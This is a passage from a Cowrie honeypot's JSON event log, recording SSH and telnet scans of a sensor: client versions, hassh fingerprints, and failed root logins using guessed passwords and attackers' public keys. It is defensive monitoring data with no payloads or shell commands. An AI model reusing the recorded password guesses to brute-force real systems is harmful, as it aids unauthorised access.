sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:05.773823Z","src_ip":"147.45.199.80","session":"27fedd310118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reebok","message":"login attempt [root/reebok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:06.062457Z","src_ip":"147.45.199.80","session":"27fedd310118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:07.162281Z","src_ip":"147.45.199.80","session":"27fedd310118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50808,"dst_ip":"10.17.0.5","dst_port":23,"session":"757c452236c8","protocol":"telnet","message":"New connection: 152.42.224.71:50808 (10.17.0.5:23) [session: 757c452236c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:14.848238Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48230,"dst_ip":"10.17.0.5","dst_port":23,"session":"779a1a758c2b","protocol":"telnet","message":"New connection: 152.42.224.71:48230 (10.17.0.5:23) [session: 779a1a758c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:29.721636Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.114","src_port":62334,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e017ecded23","protocol":"ssh","message":"New connection: 198.235.24.114:62334 (159.203.135.109:22) [session: 4e017ecded23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:33.436481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:34.646503Z","src_ip":"198.235.24.114","session":"4e017ecded23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:35.881240Z","src_ip":"198.235.24.114","session":"4e017ecded23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:14:44.274576Z","src_ip":"198.235.24.114","session":"4e017ecded23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":83.67457509040833,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:09.593874Z","src_ip":"152.42.224.71","session":"ecf03fd077a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12066102027893,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:10.842162Z","src_ip":"152.42.224.71","session":"779a1a758c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35518,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea9658027538","protocol":"telnet","message":"New connection: 152.42.224.71:35518 (10.17.0.5:23) [session: ea9658027538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:20.169027Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d98eb0fa8b","protocol":"telnet","message":"New connection: 152.42.224.71:35526 (10.17.0.5:23) [session: b0d98eb0fa8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:23.250817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37686,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc40be4deed","protocol":"ssh","message":"New connection: 103.176.20.57:37686 (10.17.0.5:22) [session: 6bc40be4deed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:32.088465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:32.093596Z","src_ip":"103.176.20.57","session":"6bc40be4deed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:32.337369Z","src_ip":"103.176.20.57","session":"6bc40be4deed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc123","message":"login attempt [root/123zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:33.067807Z","src_ip":"103.176.20.57","session":"6bc40be4deed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:34.313531Z","src_ip":"103.176.20.57","session":"6bc40be4deed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":84.48587203025818,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:39.333995Z","src_ip":"152.42.224.71","session":"757c452236c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39622,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bff55cf51b8","protocol":"telnet","message":"New connection: 152.42.224.71:39622 (10.17.0.5:23) [session: 5bff55cf51b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:43.175686Z"}
{"eventid":"cowrie.session.closed","duration":30.90241312980652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:54.153097Z","src_ip":"152.42.224.71","session":"b0d98eb0fa8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":41838,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a3dc80de0e7","protocol":"ssh","message":"New connection: 103.77.175.15:41838 (10.17.0.5:22) [session: 2a3dc80de0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.061431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.066448Z","src_ip":"103.77.175.15","session":"2a3dc80de0e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.319958Z","src_ip":"103.77.175.15","session":"2a3dc80de0e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":40986,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4e4c3518f4","protocol":"ssh","message":"New connection: 148.113.221.114:40986 (10.17.0.5:22) [session: 3b4e4c3518f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.430845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.435259Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.454440Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:cf:24:f9:b1:91:f2:4c:cc:9b:ed:d4:31:55:06:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjhaVZ/f/BlMV5e4U24v/zxqP29wU4DY0kPyToFY22rN1mj+v7bFAePgX8HIqqr84MJ4ThZ77ATal5jd3iSfbO+gpwAJJNjM+eLsXFbJGKXe2AXFGyXi9GPTPKR4+fdqS/kujTYZY+EUmIeVojHlAC5ZoyxOspQ9EvzwQpuF5vMjd5kNIMtT88I7HLRxYf/Sy1D4j/VsvOhpsyHf2mlQsx9hWQCPDCz2lGXcQx4q2rHCcJxLwzYc4ZqJDvevY9wIT/3Ht2lbtGUY4o5BBBOGJy5Pmclev9cu96TQlRR3Ogz/KG604HbdN/jcv+7wYNxPV7mMaA5S8RX9XEVcMu7wD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:cf:24:f9:b1:91:f2:4c:cc:9b:ed:d4:31:55:06:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.532081Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:cf:24:f9:b1:91:f2:4c:cc:9b:ed:d4:31:55:06:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjhaVZ/f/BlMV5e4U24v/zxqP29wU4DY0kPyToFY22rN1mj+v7bFAePgX8HIqqr84MJ4ThZ77ATal5jd3iSfbO+gpwAJJNjM+eLsXFbJGKXe2AXFGyXi9GPTPKR4+fdqS/kujTYZY+EUmIeVojHlAC5ZoyxOspQ9EvzwQpuF5vMjd5kNIMtT88I7HLRxYf/Sy1D4j/VsvOhpsyHf2mlQsx9hWQCPDCz2lGXcQx4q2rHCcJxLwzYc4ZqJDvevY9wIT/3Ht2lbtGUY4o5BBBOGJy5Pmclev9cu96TQlRR3Ogz/KG604HbdN/jcv+7wYNxPV7mMaA5S8RX9XEVcMu7wD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.535397Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:fd:96:44:de:b9:e2:c2:87:77:1d:bb:3f:64:39:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMR8dcXywHNlbWAPuYzU6kF+/dz4QhgqcHJQvyCNSJDg","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1b:fd:96:44:de:b9:e2:c2:87:77:1d:bb:3f:64:39:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.555246Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:fd:96:44:de:b9:e2:c2:87:77:1d:bb:3f:64:39:df","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMR8dcXywHNlbWAPuYzU6kF+/dz4QhgqcHJQvyCNSJDg","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.558963Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:55:a2:18:7f:70:2e:ce:c3:03:4f:a3:7b:ae:19:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs2RCZ25Es+SXmFe1MCj/EHgq1aPUOtzW+DuwZbswcPuIklF4UFH7q/WR51aTlwDHKHwR0W/3OAnwD3CVb4YBrZEGbFqeN9x2rFeByYzk7nWd7wfTSKuqOGKL/BqOr2jWUPlkGnCc2W8pdhXiEddyIXDJEA+zGCkptc+/URRmd4GycQFL3zD9wtRW0LS8UkJtY9I1fC56qdqq+78FPshkfEoDFZYLZuyRKV6aCTQwHpicbA8fAHKFgiA5ESipe/7dn4ecr7nEW/8n5l2LjTF4POavVdoawGegnP2AfqcW+6A+lTkUb2AfcC564oPqB4X7D2AlU092UX6b2uF1gzvvX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:55:a2:18:7f:70:2e:ce:c3:03:4f:a3:7b:ae:19:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.579619Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:55:a2:18:7f:70:2e:ce:c3:03:4f:a3:7b:ae:19:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs2RCZ25Es+SXmFe1MCj/EHgq1aPUOtzW+DuwZbswcPuIklF4UFH7q/WR51aTlwDHKHwR0W/3OAnwD3CVb4YBrZEGbFqeN9x2rFeByYzk7nWd7wfTSKuqOGKL/BqOr2jWUPlkGnCc2W8pdhXiEddyIXDJEA+zGCkptc+/URRmd4GycQFL3zD9wtRW0LS8UkJtY9I1fC56qdqq+78FPshkfEoDFZYLZuyRKV6aCTQwHpicbA8fAHKFgiA5ESipe/7dn4ecr7nEW/8n5l2LjTF4POavVdoawGegnP2AfqcW+6A+lTkUb2AfcC564oPqB4X7D2AlU092UX6b2uF1gzvvX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.583206Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:89:f6:a3:04:70:23:30:2c:54:cd:7f:c2:c7:12:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8YJDRXBUF/rWGcyRbN8fEbjxcUenkLW47PVeIm0a8ENMzb9KdG1QZ1DKD+VVA91z6HRpoQXCXIUuIAAH4PF4isJwp+8CeUiDuNWh/78b9XZwuRSVZbry3LVl2jKiXgqNWEdrUWnHa7b1V10T7T2VRtD4VgWPE789bT+wSlwwwu3HLBzMB+/LEH5OSRB1+B73LAJ0uOgD5hiQFc3ftQ2i+N5a9ZjqIQv5CdiMYQiOQ55JVBqjCFdDxA1zkpXTmlsiFlByLFGHrzGDwlhUZP5P2fmMDyKVX9QGdRDZFo5Jv0XsoM5+79scf1Dx15eJvZqHn7TM5OtxGKNuEj6jopej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:89:f6:a3:04:70:23:30:2c:54:cd:7f:c2:c7:12:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.603848Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:89:f6:a3:04:70:23:30:2c:54:cd:7f:c2:c7:12:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8YJDRXBUF/rWGcyRbN8fEbjxcUenkLW47PVeIm0a8ENMzb9KdG1QZ1DKD+VVA91z6HRpoQXCXIUuIAAH4PF4isJwp+8CeUiDuNWh/78b9XZwuRSVZbry3LVl2jKiXgqNWEdrUWnHa7b1V10T7T2VRtD4VgWPE789bT+wSlwwwu3HLBzMB+/LEH5OSRB1+B73LAJ0uOgD5hiQFc3ftQ2i+N5a9ZjqIQv5CdiMYQiOQ55JVBqjCFdDxA1zkpXTmlsiFlByLFGHrzGDwlhUZP5P2fmMDyKVX9QGdRDZFo5Jv0XsoM5+79scf1Dx15eJvZqHn7TM5OtxGKNuEj6jopej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.607635Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:2a:f5:ce:c2:e4:b9:c9:59:9a:f8:6c:bf:d9:bb:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgYCTB4+sIFW2pVXjfNe7SlWpLoxDI7RIjmZZ/NXInRmPUmJIGYWyXPGDUzKsL2ulW4YclFC7zEt2A4UipfSjOrQ/OjQgz5XFhfPhAQELCz9SYUaPlidlYt5LTv2ROdXnvzIW85zoM96Z0JBCL8vbfMIpvxDUB5fp86F0eOVdQfOI4/5/CssCr1qn2VTcitTg1TvFs0wd2/74Q5Bx12T3oacRI5l+qYHudm7kNTQtnxFUgP0Zk4+pP4wVvLdGWRqogHJaYH9pvGnO5lUiNtsckQYiamvRhYSFCs23nujdPcAChYgi5TeL8GMrEl1rk8od8x+AmJM36+yXEqpi0uZP8i6CdRJknzqitngQ44NBSQUGz0+/4Rr8j3iuc9VwrrbHFsaNkYpP6sEPpsG9gS0Ts2F/FBEUHFls58TyfDrBlGvRMTgCRvuYgSZoQhtnh+omU+aur6D1TS5LmDrmpcBoRU2GbUuQRAxIgvsXnn0rDRiaPOctEaNibAwhOBgQitFPiKsJEJQV//TI7z90d9KMBzGpEADG8ogZgTJNQ5rc5kfU5ErDtDsXeTXkL1LTFD0nGc/1pLdkWxbLNwT5OGhi9djMCXSNx3kBtYmTEp3Pphr1ZzBrCeeWa8tjT7dvywhrCIOTbibsTMPUvIkCPIiCLkRlRvUc2yJPfvylwjtja7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:2a:f5:ce:c2:e4:b9:c9:59:9a:f8:6c:bf:d9:bb:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.633893Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
